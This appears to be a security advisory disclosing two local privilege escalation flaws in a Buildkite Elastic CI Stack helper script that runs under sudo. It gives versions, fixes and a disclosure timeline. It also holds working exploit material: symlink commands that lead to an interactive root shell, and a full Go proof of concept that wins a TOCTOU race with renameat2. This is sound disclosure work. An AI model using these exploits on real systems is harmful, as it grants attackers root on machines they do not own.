- BuildKite
Elastic CI Stack for AWS versions prior to 6.7.1 and 5.22.5
The fix-buildkite-agent-builds-permissions
script is susceptible to multiple vulnerabilities when processing command-line arguments from the buildite-agent
user, leading to local privilege escalation.
Customers should upgrade to the version branch that addresses these vulnerabilities (6.7.1/5.22.5). Alternatively, customers should consider deploying a pre-bootstrap hook to prevent execution of fix-buildkite-agent-builds-permissions
during a build.
This issue was found by Nick Nam of Atredis Partners.
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-43116
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-43741
- https://github.com/buildkite/elastic-ci-stack-for-aws/releases/tag/v6.7.1
- https://github.com/buildkite/elastic-ci-stack-for-aws/releases/tag/v5.22.5
- 2023-09-08: Atredis Partners sent an initial notification to vendor, requesting PGP key for [email protected] to transmit Symbolic Link Following vulnerability details
- 2023-09-11: Vendor replies confirming that the vulnerability details can be sent to [email protected] instead.
- 2023-09-11: Atredis Partners transmits vulnerabilty details
- 2023-09-11: Buildkite confirms receipt of the vulnerability details
- 2023-09-13: Buildkite releases versions 6.7.0 and 5.22.4 on GitHub to address CVE-2023-43116
- 2023-09-13: Atredis Partners reports vulnerability to MITRE for CVE ID assignment
- 2023-09-14: Atredis Partners identifies and reports a TOCTOU vulnerability introduced in 6.7.0 and 5.22.4 to the vendor
- 2023-09-18: Atredis Partners provides a proof-of-concept demonstrating exploitation of the TOCTOU vulnerability
- 2023-09-19: Atredis Partners reports vulnerability to MITRE for CVE ID assignment
- 2023-09-20: Buildkite releases versions 6.7.1 and 5.22.5 on GitHub to address CVE-2023-43741
- 2023-12-08: Atredis Partners publishes advisory ATREDIS-2023-0003
Buildkite Elastic CI Stack for AWS includes a shell script called fix-buildkite-agent-builds-permissions
intended to recursively fix ownership for files and directories under /var/lib/buildkite-agent/builds
:
...
# We know the builds path:
BUILDS_PATH="/var/lib/buildkite-agent/builds"
# And now we can reconstruct the full agent builds path:
PIPELINE_PATH="${BUILDS_PATH}/${AGENT_DIR}/${ORG_DIR}/${PIPELINE_DIR}"
# => "/var/lib/buildkite-agent/builds/my-agent-1/my-org/my-pipeline"
if [[ -e "${PIPELINE_PATH}" ]]; then
/bin/chown -R buildkite-agent:buildkite-agent "${PIPELINE_PATH}"
fi
packer/linux/conf/buildkite-agent/scripts/fix-buildkite-agent-builds-permissions
Further, the script is permitted to be executed using sudo
by the buildite-agent
user through a sudoers.conf
entry:
buildkite-agent ALL=NOPASSWD: /usr/bin/fix-buildkite-agent-builds-permissions
packer/linux/conf/buildkite-agent/sudoers.conf
However, all directories beneath /var/lib/buildkite-agent/builds
are writeable by the buildkite-agent
user by default. As a result, an attacker can create a symbolic link pointing to /usr/bin/
in a subdirectory within /var/lib/buildkite-agent/builds
and execute fix-buildkite-agent-builds-permissions
to change ownership of itself to buildkite-agent:buildkite-agent
:
# change directory to ${AGENT_DIR}
$ cd /var/lib/buildkite-agent/builds/buildkite-agent-default-stack-i-abcdef0123456789-1/
# create symlink to /usr/bin
$ ln -s /usr/bin usr_bin
# execute fix-buildkite-agent-builds-permissions to change ownership of itself
$ sudo /usr/bin/fix-buildkite-agent-builds-permissions buildkite-agent-default-stack-i-abcdef0123456789-1 usr_bin fix-buildkite-agent-builds-permissions
# verify that ownership changed to buildkite-agent:buildkite-agent
$ ls -alh /usr/bin/fix-buildkite-agent-builds-permissions
-rwxr-xr-x 1 buildkite-agent buildkite-agent 2.4K May 27 2022 /usr/bin/fix-buildkite-agent-builds-permissions
Changing Ownership of fix-buildkite-agent-builds-permissions
After changing ownership of fix-buildkite-agent-builds-permissions
, it can be modified to run sudo -i
to execute an interactive root shell:
...
# In here we need to check that they both don't contain slashes or contain a
# traversal component.
# *** INSERTED TO SPAWN INTERACTIVE ROOT SHELL ***
sudo -i
# *** INSERTED TO SPAWN INTERACTIVE ROOT SHELL ***
AGENT_DIR="$1"
# => "my-agent-1"
ORG_DIR="$2"
# => "my-org"
...
packer/linux/conf/buildkite-agent/scripts/fix-buildkite-agent-builds-permissions
When sudo /usr/bin/fix-buildkite-agent-builds-permissions
is ran again, it executes an interactive root shell:
$ sudo /usr/bin/fix-buildkite-agent-builds-permissions
# id
uid=0(root) gid=0(root) groups=0(root)
Escalating to root
Versions 6.7.0 and 5.22.4 addressed CVE-2023-43116 (Symbolic Link Following) through a check using realpath
to identify any symbolic link segments in PIPELINE_PATH
prior to changing ownership of PIPELINE_PATH
.
...
# Check for symlink shenanigans
if [[ "$(realpath "${PIPELINE_PATH}")" != "${PIPELINE_PATH}" ]]; then
exit 4
fi
# It should be a directory.
if [[ ! -d "${PIPELINE_PATH}" ]]; then
exit 5
fi
# If we make it here, we're safe to go!
/bin/chown -R buildkite-agent:buildkite-agent "${PIPELINE_PATH}"
packer/linux/conf/buildkite-agent/scripts/fix-buildkite-agent-builds-permissions
This introduced a TOCTOU race condition allowing an attacker to effectively bypass the realpath
check. To exploit this, an attacker could craft a PIPELINE_PATH
directory that passes the realpath
check and covert the directory to a symbolic link prior to the /bin/chown
command. For example, this can be accomplished using the SYS_RENAMEAT2
system call as shown in the following proof-of-concept:
package main
import (
"fmt"
"os"
"os/exec"
"os/user"
"path/filepath"
"syscall"
"unsafe"
)
func main() {
// check that current user is buildkite-agent
username := "buildkite-agent"
currentUser, err := user.Current()
if err != nil {
panic(err)
}
if username != currentUser.Username {
fmt.Printf("Must be run as %s\n", username)
return
}
// define directories, paths, and script file name
usrBin := "/usr/bin/"
scriptFile := "fix-buildkite-agent-builds-permissions"
buildPath := "/var/lib/buildkite-agent/builds"
agentDirectory := "agent_dir"
orgDirectory := "org_dir"
pipelineDirectory := scriptFile
usrBinSymlink := "usr_bin"
// mkdir -p /var/lib/buildkite-agent/builds/agent_dir/org_dir/fix-buildkite-agent-builds-permissions
err = os.MkdirAll(filepath.Join(buildPath, agentDirectory, orgDirectory, pipelineDirectory), 0755)
if err != nil {
panic(err)
}
// ln -s /usr/bin/ /var/lib/buildkite-agent/builds/agent_dir/usr_bin
err = os.Symlink(usrBin, filepath.Join(buildPath, agentDirectory, usrBinSymlink))
if err != nil {
panic(err)
}
// cd /var/lib/buildkite-agent/builds/agent_dir/
err = os.Chdir(filepath.Join(buildPath, agentDirectory))
if err != nil {
panic(err)
}
// loop renameat2 to atomically exchange names between org_dir and usr_bin
signal := AtomicNameExchanger(orgDirectory, usrBinSymlink)
for {
// sudo /usr/bin/fix-buildkite-agent-builds-permissions agent_dir usr_bin fix-buildkite-agent-builds-permissions
cmd := exec.Command("sudo", filepath.Join(usrBin, scriptFile), agentDirectory, usrBinSymlink, scriptFile)
_ = cmd.Run()
// check ownership of /usr/bin/fix-buildkite-agent-builds-permissions
var stat syscall.Stat_t
err = syscall.Stat(filepath.Join(usrBin, scriptFile), &stat)
if err != nil {
panic(err)
}
// check if ownership changed
if int(stat.Uid) == os.Getuid() {
// success
signal <- 0
break
}
}
// ownership changed
fmt.Println("\n\nownership changed:")
cmd := exec.Command("/bin/ls", "-lah", filepath.Join(usrBin, scriptFile))
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
_ = cmd.Run()
}
func AtomicNameExchanger(relativePath1, relativePath2 string) chan int {
ch := make(chan int)
const SYS_RENAMEAT2 = 316
AT_FDCWD := -100
RENAME_EXCHANGE := 2
p1, _ := syscall.BytePtrFromString(relativePath1)
p2, _ := syscall.BytePtrFromString(relativePath2)
go func() {
for {
select {
case <- ch:
fmt.Println("boom!")
return
default:
fmt.Print(".")
_, _, _ = syscall.Syscall6(
SYS_RENAMEAT2,
uintptr(AT_FDCWD),
uintptr(unsafe.Pointer(p1)),
uintptr(AT_FDCWD),
uintptr(unsafe.Pointer(p2)),
uintptr(RENAME_EXCHANGE),
0)
}
}
}()
return ch
}
Succesful exploitation results in changing ownership of the fix-buildkite-agent-builds-permissions
script to buildkite-agent
which can then be modified and executed to escalate privileges as descibed in CVE-2023-43116 - Symbolic Link Following:
$ go run toctou-poc.go
..............................................................................................................
..............................................................................................................
..............................................................................................................
.........................................................................................boom!
ownership changed:
-rwxr-xr-x 1 buildkite-agent buildkite-agent 2.7K Sep 14 07:56 /usr/bin/fix-buildkite-agent-builds-permissions
Changing Ownership of fix-buildkite-agent-builds-permissions